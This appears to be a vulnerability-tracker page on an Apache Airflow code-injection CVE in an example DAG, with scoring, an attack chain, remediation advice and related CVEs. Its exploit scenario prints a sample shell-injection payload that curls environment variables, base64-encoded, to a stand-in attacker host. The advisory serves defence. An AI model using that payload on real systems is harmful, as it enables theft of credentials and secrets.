Skip to main content

Apache Airflow CVE-2025-54550

| EUVDEUVD-2025-209465 HIGH
Code Injection (CWE-94)
2026-04-15 apache GHSA-q2hg-643c-gw8h
8.1
CVSS 3.1 · Vendor: apache
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as trusted Airflow UI user
  2. Delivery
    Locate target BashOperator DAG using unsafe XCom templating
  3. Exploit
    Modify XCom value to contain shell injection payload
  4. Execution
    Trigger or await scheduled BashOperator task execution
  5. Persist
    Airflow templates poisoned XCom value into bash command string
  6. Impact
    Injected commands execute on worker with worker process privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all three of the following specific conditions simultaneously: (1) the Airflow deployment must contain at least one production DAG that replicates the unsafe XCom-to-BashOperator string interpolation pattern from the example_xcom documentation - directly embedding XComArg references via f-strings into BashOperator bash_command strings rather than via environment variables; (2) the attacker must be an authenticated Airflow UI user with permission to read and modify XCom values for those specific DAGs and task instances; and (3) the BashOperator task using the injected XCom value must execute after the XCom modification. Exploitation is further limited by the fact that XCom modification is a privileged UI capability restricted to highly trusted users per Apache's own characterization, and the vulnerable pattern does not exist in any default Airflow installation - it must have been deliberately copied from documentation into custom production code.

Impact

The submitted CVSS score of 8.1 (AV:N/AC:L/PR:L) substantially overstates real-world risk for this vulnerability. Three compounding constraints limit actual exposure: the vulnerable code is example documentation, not production code shipped in Airflow releases; Apache explicitly states example_dags are not intended for production use; and exploitation requires a UI user who already holds XCom modification privileges - a role Apache characterizes as 'highly trusted.' EPSS at 0.03% (7th percentile) and SSVC Exploitation: none confirm no observed or reported exploitation in the wild. No public exploit code exists. Even a mid-sized data engineering team in malbork would face this risk only if a developer had specifically replicated the unsafe BashOperator pattern from documentation into their own production DAGs. The SSVC Technical Impact: total metric reflects the ceiling of what worker-level code execution could achieve, but this is conditioned entirely on a non-default deployment scenario. This should be treated as a documentation/pattern hygiene finding rather than an emergency patching priority for most organizations.

Exploit ScenarioDerived

An authenticated Airflow UI user with XCom write access navigates to the XCom interface and modifies a value to contain a shell injection payload such as $(curl attacker.example/exfil?d=$(env | base64)). When the production DAG's downstream BashOperator task next executes, Airflow templates the malicious XCom value directly into the bash command string, causing the injected command to run on the Airflow worker with the worker process's OS privileges. No public exploit code exists; this requires both the vulnerable pattern in production and the attacker holding privileged UI access.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 16, 2026

Unsafe XCom templating in Apache Airflow's documented example DAG (example_xcom.py) allowed an authenticated UI user with XCom modification privileges to inject arbitrary shell commands that execute on the Airflow worker node. The vulnerability exists only in deployments where operators replicated the example's pattern of directly embedding XComArg references via f-string interpolation into BashOperator command strings - a pattern explicitly not intended for production. No public exploit code exists, EPSS is 0.03%, and Apache itself rates the practical severity as Low, though worker-level code execution is the worst-case outcome for affected deployments.

RemediationAI

Upgrade to Apache Airflow 3.2.0, whose updated documentation and example code demonstrate the corrected pattern. For operators who have replicated the unsafe XCom-to-BashOperator f-string interpolation pattern in their own production DAGs, immediate remediation requires refactoring those DAGs: replace direct XComArg embedding in bash command strings with the env parameter on BashOperator (e.g., env={"MY_VAR": str(XComArg(task))}, append_env=True) and reference the value via $MY_VAR in the shell command. The exact corrected pattern is visible in PR #63200 at https://github.com/apache/airflow/pull/63200. As a compensating control, restrict XCom modification permissions in the Airflow UI to the minimum necessary set of users - this reduces the insider threat surface without requiring a code change. Ensure the example_dags directory is not deployed or enabled in any production Airflow environment, per Apache's own guidance.

Affected VersionsENISA

Apache Airflow 0 <3.2.0

Affected Packages

pypi apache-airflow fix: 3.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Apache Airflow's XCom (Cross-Communication) mechanism allows tasks to exchange data, which can then be referenced in downstream task definitions via XComArg. The vulnerable example_xcom.py DAG illustrated BashOperator usage by embedding XComArg values directly into shell command strings using Python f-string interpolation - for example, f'echo "{XComArg(bash_push)}"'. At runtime, Airflow templates these XCom values into the bash command before execution, meaning any shell metacharacters present in the XCom value are passed directly to the shell interpreter, constituting code injection (CWE-94: Improper Control of Generation of Code). The GitHub PR #63200 confirms the fix: XCom values are moved to the BashOperator's env parameter as environment variables (env={"RETURNED_VALUE": str(XComArg(bash_push))}), which eliminates shell metacharacter interpretation. Affected CPE: cpe:2.3:a:apache_software_foundation:apache_airflow:*:*:*:*:*:*:*:* for versions prior to 3.2.0.

Know when Apache Airflow gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (apache) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
vuln.today AI 6.8 MEDIUM

AC:H because exploitation requires a non-default, deliberately replicated unsafe pattern in production DAGs; PR:L for authenticated UI user with XCom write access.

3.1 AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (apache).

CVSS VectorVendor: apache

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
CVSS changed
Apr 16, 2026 - 13:22 NVD
8.1 (HIGH)
Patch released
Apr 15, 2026 - 01:15 nvd
Patch available
CVE Published
Apr 15, 2026 - 00:22 nvd
HIGH 8.1

DescriptionCVE.org

The example example_xcom that was included in airflow documentation implemented unsafe pattern of reading value from xcom in the way that could be exploited to allow UI user who had access to modify XComs to perform arbitrary execution of code on the worker. Since the UI users are already highly trusted, this is a Low severity vulnerability.

It does not affect Airflow release - example_dags are not supposed to be enabled in production environment, however users following the example could replicate the bad pattern. Documentation of Airflow 3.2.0 contains version of the example with improved resiliance for that case.

Users who followed that pattern are advised to adjust their implementations accordingly.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 10 pypi packages depend on apache-airflow (1 direct, 9 indirect)

Ecosystem-wide dependent count for version 3.2.0.

Executive ViewAI

Why It Matters

Apache Airflow deployments using the documented XCom templating example are vulnerable to command injection by authenticated users with XCom modification privileges, with worst-case impact of worker node code execution. No public exploit identified at time of analysis; exploitation requires elevated privileges and adoption of this specific code pattern. EPSS 0.0% and Apache's own Low severity rating indicate minimal real-world exploitability.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 93% exploitable
Prevalence
High
widely deployed in enterprise data engineering, MLOps, and orchestration pipelines
Threat Intel
1
1 source
Social Media
2
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2026-33264 CRITICAL
9.8 Jul 07

Remote code execution in Apache Airflow before 3.3.0 lets a DAG author embed a malicious trigger whose attacker-controll

CVE-2026-67587 HIGH
8.8 Aug 12

Unsafe deserialization in Apache Airflow 3.3.0's Task SDK allows an authenticated DAG author to cause arbitrary module i

CVE-2026-58076 HIGH
8.8 Aug 12

Unsafe deserialization in Apache Airflow 3.0.0 through 3.3.0 allows any DAG author to achieve arbitrary code execution i

CVE-2026-33858 HIGH
8.8 Apr 13

Remote code execution in Apache Airflow 3.1.x allows authenticated DAG Authors to execute arbitrary code in the webserve

CVE-2026-30898 HIGH
8.8 Apr 18

Command injection in Apache Airflow's BashOperator documentation example allows authenticated attackers to escalate priv

CVE-2026-30911 HIGH
8.1 Mar 17

CVE-2026-30911 is a security vulnerability (CVSS 8.1) that allows any authenticated task instance. High severity vulnera

CVE-2026-68968 HIGH
7.5 Aug 12

Authorization bypass in Apache Airflow's Backfill API (all versions prior to 3.3.1) allows any authenticated user holdin

CVE-2025-66236 HIGH
7.5 Apr 13

Information disclosure in Apache Airflow 3.0.0 through 3.1.x stems from incomplete secret masking and under-documented w

CVE-2026-31987 HIGH
7.5 Apr 16

Apache Airflow 3.0.0 through 3.1.x exposes JWT authentication tokens in application logs, allowing any authenticated UI

CVE-2026-28779 HIGH
7.5 Mar 17

CVE-2026-28779 is a security vulnerability (CVSS 7.5) that allows any application co-hosted under the same domain. High

CVE-2026-30912 HIGH
7.5 Apr 18

Apache Airflow before 3.2.0 exposes SQL exception stack traces through API responses despite api/expose_stack_traces=fal

CVE-2026-32228 HIGH
7.5 Apr 18

Apache Airflow 3.0.x prior to 3.2.0 allows remote unauthenticated attackers to trigger unauthorized DAG (Directed Acycli

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy